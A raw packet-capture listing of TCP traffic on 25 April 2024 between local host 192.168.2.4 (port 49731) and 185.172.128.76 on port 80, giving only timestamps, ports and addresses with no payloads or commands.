Apr 25, 2024 14:42:11.021167994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021173000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021212101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021228075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021241903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021253109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021270037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021284103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021296024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021316051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021328926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021352053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021353960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021369934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021389008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021395922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021467924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021481037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021492004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021509886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021524906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021536112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021562099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021586895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021600008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021626949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021641016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021666050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021677971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021688938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021701097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021717072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021739960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021747112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021781921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021792889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021806002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021816015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021832943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021847010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021857977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021861076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021883011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021902084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021922112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022006035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022042036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022044897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022082090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022109032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022142887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022147894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022178888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022181988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022217989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022341013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022382975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022561073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022602081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022645950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022686958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022857904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022897005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022921085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.022960901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.022980928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023004055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023019075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023042917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023087978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023128033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023175955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023224115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023272991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023283958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023312092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023327112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023391008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023403883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023442030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023449898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023454905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023482084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023507118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023507118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023542881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023552895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023581982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023602009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023644924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023657084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023696899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023720026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023746014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023761988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023788929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023830891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023844004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023871899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023881912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023896933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023907900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023921013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.023967981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.023988962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024017096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024034023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024043083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024106026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024118900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024149895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024154902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024173975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024195910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024199963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024214029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024254084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024290085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024332047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024360895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024374008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024408102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024414062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024426937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.024454117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.024477959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066386938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066437960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066555977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066625118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066715002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066766024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066778898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066781998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066804886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066819906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066827059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066864014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066874981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066900969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066906929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.066965103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066977978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.066987991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.067007065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.067032099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.067044020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.067076921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.067097902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.067167997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.067178965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.067213058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.069874048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.069886923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.069941998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070014000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070055008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070209026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070251942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070410967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070478916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070514917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070525885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070553064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070555925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070594072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070684910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070745945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070753098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070777893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070787907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070822954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070847988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070861101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070890903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070907116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070916891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.070961952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.070991993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071032047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071043968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071086884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071099043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071111917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071154118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071178913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071211100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071235895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071239948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071259975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071299076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071419001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071460009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071630955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071683884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071748972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071858883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071871042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.071908951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.071933031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.072232008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.072323084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.072369099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.072457075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.072499990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.072525978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.072566032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.072585106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.072633028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.072633982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.072674990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073016882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073060989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073070049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073100090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073168993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073214054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073270082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073275089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073328018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073410988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073465109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073555946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073569059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073620081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073632956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073638916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073658943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073678017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073704958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073715925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073755026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073761940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073822975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073869944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073872089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073884010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073910952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073925018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073936939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073939085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.073980093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.073985100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.074023008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.074037075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.074049950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.074078083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.074093103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.074112892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.074124098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.074152946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.074166059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.163878918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.163959980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.199204922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.405497074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511284113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511308908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511322975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511337042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511351109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511363029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.511384964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511400938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511401892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.511439085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.511452913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511467934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511497021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.511523008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511523962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.511554003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.511600018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.563741922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.563817978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.563882113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.563915014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.563940048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.563944101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.563987970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564035892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564045906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564064980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564079046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564093113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564116955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564167976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564182043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564193964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564219952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564229965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564234972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564280033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564286947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564330101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564332962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564378023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564410925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564424992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564461946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564462900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564480066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564503908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564532995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564577103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564625978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564673901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564677000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564717054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.564757109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564770937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.564805984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616292953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616344929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616363049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616380930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616447926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616466999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616466999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616466999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616525888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616544962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616571903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616594076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616616964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616724014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616822004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616841078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616871119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616889000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.616902113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616950035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.616996050 CEST	49731	80	192.168.2.4	185.172.128.76
